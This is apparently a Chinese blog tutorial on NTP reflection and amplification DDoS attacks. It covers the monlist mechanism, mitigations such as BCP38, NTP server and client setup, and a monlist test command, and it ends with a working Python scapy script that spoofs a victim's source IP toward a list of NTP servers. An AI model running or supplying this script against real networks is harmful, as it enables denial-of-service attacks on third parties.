NTP反射放大攻击

文章目录

什么是NTP

基于UDP协议的NTP(网络时间协议):使网络中各个计算机时间同步的一种协议

用途:把计算机时钟调节到世界调节时UDP

NTP反射放大攻击

  • UDP协议:面向无连接,客户端发送请求包源IP容易进行伪造

  • 反射攻击:修改客户端发送请求包中源IP为受害者IP,服务器端返回响应包返回到受害者IP

  • 放大攻击:一个请求包收到多个响应包

  • NTP反射放大攻击:一种分布式拒绝服务(DDoS)攻击

    服务器端回复一个带有欺骗源IP地址的数据包,而且至少有一个内置命令会对一个简短的请求发送一个长回复。这使得它成为DDoS工具的理想选择

    NTP 包含一个 monlist 功能( MON_GETLIST),主要用于监控 NTP 服务器。

    NTP 服务器响应monlist后就会返回响应包给和 NTP 服务器进行时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

解决方案

  • 可以通过访问open NTP项目来检查网络上是否有开放的NTP服务器支持MONLIST命令运行。

  • NTP和其他基于udp的放大攻击都依赖于源IP地址欺骗。如果攻击者不能欺骗源IP地址,那么他们只能自己攻击DDoS。如果正在运行一个网络,那么应该确保遵循BCP38,并防止带有欺骗源地址的数据包离开主机网络。可以使用麻省理工学院的Spoofer项目的工具来测试你的网络当前是否遵循BCP38。

搭建NTP服务器

部署服务器端

Windows server 2008

  • 修改注册表

依次展开数据项目,计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer,把Enabled设置为1,打开NTP服务

  • 打开NTP服务

找到windows time

windows NTP命令行

复制代码
启动:net start w32time
停止:net stop w32time

本机测试

如果有回显则服务正常

复制代码
w32tm /stripchart /computer:127.0.0.1

部署客户端

服务端部署成功后,如果要为客户端提供服务的话需要开放udp协议中的123端口,或者根据自身安全情况关闭防火墙。客户端下可以使用ntpdate命令来同步服务器时间,也可以使用chrony服务。

ntpdate

text 复制代码
# 安装ntpdate服务
sudo apt-get install ntpdate

# 安装完成后, 同步时间。xxx.xxx.xxx.xxx为你服务器的IP地址,clock -w把时间写入硬件。
sudo ntpdate xxx.xxx.xxx.xxx && clock -w

chrony

chrony是一个时间同步服务,通过配置可以把一台服务器变为NTP服务端或客户端,这里只用到客户端的功能。

text 复制代码
sudo apt-get install chrony

安装完成后打开配置文件

text 复制代码
vim /etc/chrony.conf

如果做客户端的话,只需要修改其中的一行文件,最后保存退出。

text 复制代码
# xxx为你的IP地址
server xxx.xxx.xxx.xxx

重启chrony服务,使用时间同步服务生效。

text 复制代码
systemctl restart chronyd

实验

linux中,可以使用ntpdate、ntpdc进行反射测试。

模拟协议,客户端执行以下命令,执行成功时,说明服务端存在被攻击风险,可实施攻击。

复制代码
ntpdate -n -c monlist x.x.x.x | wc -l(NTP服务的IP)

测试结果,此处内网由于数据量小

Python利用脚本

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
from scapy.all import *

def attack(target, ntp_server):
    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("执行方法: python xxx.py  攻击目标  ntp服务器文件")
        sys.exit(1)

    target = sys.argv[1]
    ntp_server_file = sys.argv[2]
    for ntp_server in open(ntp_server_file, "r"):
        ntp_server = ntp_server.strip()
        if ntp_server != "":
            attack(target, ntp_server)
相关推荐
KivenMitnick5 小时前
LovelyERes:AWD适用的蓝队综合工具
运维·安全·网络安全
其实防守也摸鱼8 小时前
ctfshow--Crypto(funnyrsa1-密码2)解题步骤
python·安全·web安全·网络安全·密码学·web·工具
云水一下8 小时前
企业跨地域安全通信实战:预共享密钥方式建立点到点加密隧道
安全·华为·ipsec vpn·下一代防火墙
闵孚龙9 小时前
AI Agent多智能体编排爆款解析:Claude Code Subagent、Fork、Coordinator、Bridge远程执行与安全治理全拆解
大数据·人工智能·安全
夏天测9 小时前
2026 年 5 月中旬网络安全深度预警:高危漏洞集中爆发、零日攻击常态化,企业面临多重安全挑战
安全·web安全
xian_wwq9 小时前
【学习笔记】探讨大模型应用安全建设系列2——安全评估:攻击面梳理与差距分析
笔记·学习·安全
NPE~10 小时前
[安全]互联网安全 — — 黑灰产概念科普
安全·科普·互联网安全·概念科普·黑灰产
devilnumber10 小时前
如何在java的Lambda中安全地修改外部变量?
java·安全·lambda
打码人的日常分享10 小时前
大模型及智能体安全风险防范与治理策略(PPT)
运维·网络·数据库·安全·云计算·制造
黎阳之光10 小时前
智慧水利堤坝监测:全域实景技术实现河流、水库隐患预警
大数据·人工智能·物联网·安全·数字孪生